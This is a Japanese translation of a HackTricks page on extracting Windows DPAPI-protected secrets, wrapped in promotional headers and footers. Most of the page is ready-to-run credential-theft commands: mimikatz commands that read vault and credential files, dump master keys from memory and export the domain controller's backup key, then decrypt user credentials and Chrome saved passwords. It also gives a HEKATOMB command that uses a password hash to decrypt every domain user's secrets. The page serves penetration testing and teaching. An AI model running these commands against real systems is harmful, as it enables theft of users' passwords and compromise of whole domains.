17 KiB
DPAPI - パスワードの抽出
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはテレグラムグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
RootedCONは、スペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。この大会は、技術的な知識を促進することを目的としており、あらゆる分野の技術とサイバーセキュリティの専門家のための活気ある交流の場です。
{% embed url="https://www.rootedcon.com/" %}
この投稿を作成する際、mimikatzはDPAPIとの対話を伴うすべてのアクションで問題が発生していました。そのため、ほとんどの例と画像はこちらから取得しました:https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++
DPAPIとは
Windowsオペレーティングシステムでの主な使用目的は、非対称な秘密鍵の対称暗号化を実行するために、ユーザーまたはシステムの秘密をエントロピーの重要な要素として使用することです。
DPAPIを使用すると、開発者はユーザーのログオンシークレットから派生した対称鍵を使用してキーを暗号化することができます。また、システムの暗号化の場合は、システムのドメイン認証シークレットを使用します。
これにより、開発者は暗号化キーを保護する方法を心配することなく、コンピュータに暗号化されたデータを保存することが非常に簡単になります。
DPAPIは何を保護するのか?
DPAPIは、次の個人データを保護するために使用されます:
- Internet Explorer、Google *Chromeのパスワードとフォームの自動入力データ
- Outlook、Windows Mail、Windows Mailなどのメールアカウントのパスワード
- 内部FTPマネージャーアカウントのパスワード
- 共有フォルダとリソースへのアクセスパスワード
- ワイヤレスネットワークアカウントのキーとパスワード
- Windows CardSpaceとWindows Vaultの暗号化キー
- リモートデスクトップ接続のパスワード、.NET Passport
- 暗号化ファイルシステム(EFS)、メールS-MIMEの暗号化、他のユーザーの証明書、Internet Information ServicesのSSL/TLSのプライベートキー
- EAP/TLSおよび802.1x(VPNおよびWiFi認証)
- 資格情報マネージャーのネットワークパスワード
- API関数CryptProtectDataでプログラム的に保護された任意のアプリケーションの個人データ。たとえば、Skype、Windows Rights Management Services、Windows Media、MSNメッセンジャー、Google Talkなど。
- ...
{% hint style="info" %} DPAPIを使用してデータを保護するための成功した賢い方法の例は、Internet Explorerの自動入力パスワード暗号化アルゴリズムの実装です。特定のWebページのログインとパスワードを暗号化するために、CryptProtectData関数を呼び出し、オプションのエントロピーパラメータにはWebページのアドレスを指定します。したがって、パスワードが入力された元のURLを知らない限り、Internet Explorer自体も含めて、そのデータを復号化することはできません。 {% endhint %}
リストVault
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz
mimikatz vault::list
資格情報ファイル
マスターパスワードで保護された資格情報ファイルは、次の場所に存在する可能性があります:
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
以下は、mimikatzのdpapi::cred
を使用して資格情報の情報を取得する方法です。レスポンスには、暗号化されたデータとguidMasterKeyなどの興味深い情報が含まれています。
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
[...]
guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData : b8f619[...snip...]b493fe
[..]
適切な /masterkey
を使用して、mimikatzモジュール dpapi::cred
を使用して復号化できます:
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
マスターキー
ユーザーのRSAキーを暗号化するために使用されるDPAPIキーは、%APPDATA%\Microsoft\Protect\{SID}
ディレクトリに格納されます。ここで、{SID}はそのユーザーのセキュリティ識別子です。DPAPIキーは、ユーザーの秘密鍵を保護するマスターキーと同じファイルに格納されます。通常、これは64バイトのランダムデータです。(このディレクトリは保護されているため、cmd
からdir
を使用してリストすることはできませんが、PSからはリストすることができます)。
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
ユーザーのマスターキーの一部は次のようになります:
通常、各マスターキーは他のコンテンツを復号化できる暗号化された対称キーです。したがって、他のコンテンツを復号化するために後で使用するために、暗号化されたマスターキーを抽出することは興味深いです。
マスターキーの抽出と復号化
前のセクションで、3e90dd9e-f901-40a1-b691-84d7f647b8fe
のように見えるguidMasterKeyを見つけました。このファイルは以下にあります:
C:\Users\<username>\AppData\Roaming\Microsoft\Protect\<SID>
以下の場所で、mimikatzを使用してマスターキーを抽出することができます:
1. ローカルマシンのメモリからマスターキーを抽出するために、mimikatzのsekurlsaモジュールを使用します。
2. mimikatzを実行し、コマンドプロンプトで以下のコマンドを入力します:
sekurlsa::dpapi
3. マスターキーを抽出するために、以下のコマンドを入力します:
dpapi::masterkey
4. マスターキーが抽出されると、その値を使用してデータを復号化することができます。
注意: この手法は管理者権限が必要です。また、Windowsのバージョンやセキュリティ設定によっては、マスターキーの抽出が制限される場合があります。
```bash
# If you know the users password
dpapi::masterkey /in:"C:\Users\<username>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /sid:S-1-5-21-2552734371-813931464-1050690807-1106 /password:123456 /protected
# If you don't have the users password and inside an AD
dpapi::masterkey /in:"C:\Users\<username>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /rpc
ファイルのマスターキーは出力に表示されます。
最後に、そのマスターキーを使用して資格情報ファイルを復号化できます:
mimikatz dpapi::cred /in:C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 /masterkey:0c0105785f89063857239915037fbbf0ee049d984a09a7ae34f7cfc31ae4e6fd029e6036cde245329c635a6839884542ec97bf640242889f61d80b7851aba8df
管理者権限でローカルのマスターキーを抽出する
管理者権限を持っている場合、以下の手順でdpapiのマスターキーを取得することができます。
sekurlsa::dpapi
ドメイン管理者によるすべてのバックアップマスターキーの抽出
ドメイン管理者は、暗号化されたキーを復号化するために使用できるバックアップdpapiマスターキーを取得することができます。
lsadump::backupkeys /system:dc01.offense.local /export
取得したバックアップキーを使用して、ユーザーの spotless
マスターキーを復号化しましょう:
dpapi::masterkey /in:"C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk
ユーザーのspotless
chromeの秘密を、復号化されたマスターキーを使用して復号化することができます。
dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data" /masterkey:b5e313e344527c0ec4e016f419fe7457f2deaad500f68baf48b19eb0b8bc265a0669d6db2bddec7a557ee1d92bcb2f43fbf05c7aa87c7902453d5293d99ad5d6
コンテンツの暗号化と復号化
DAPIを使用してデータを暗号化および復号化する方法の例については、mimikatzとC++を使用したhttps://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++を参照してください。
C#を使用してDPAPIを使用してデータを暗号化および復号化する方法の例については、https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protectionを参照してください。
SharpDPAPI
SharpDPAPIは、@gentilkiwiのMimikatzプロジェクトからの一部のDPAPI機能をC#に移植したものです。
HEKATOMB
HEKATOMBは、LDAPディレクトリからすべてのユーザーとコンピュータを抽出し、RPCを介してドメインコントローラのバックアップキーを抽出するツールです。その後、スクリプトはすべてのコンピュータのIPアドレスを解決し、すべてのユーザーのDPAPIブロブを取得し、ドメインバックアップキーですべてを復号化します。
python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp
LDAPのコンピュータリストから抽出した場合、知らなくてもすべてのサブネットを見つけることができます!
"Domain Admin権限だけでは十分ではありません。すべてをハックしましょう。"
DonPAPI
DonPAPIは、DPAPIで保護されたシークレットを自動的にダンプすることができます。
参考文献
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++
RootedCONは、スペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術的な知識を促進することを使命としているこの会議は、あらゆる分野の技術とサイバーセキュリティの専門家の活発な交流の場です。
{% embed url="https://www.rootedcon.com/" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Family、私たちの独占的なNFTのコレクションを発見してください。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricks repo と hacktricks-cloud repo にPRを提出してください。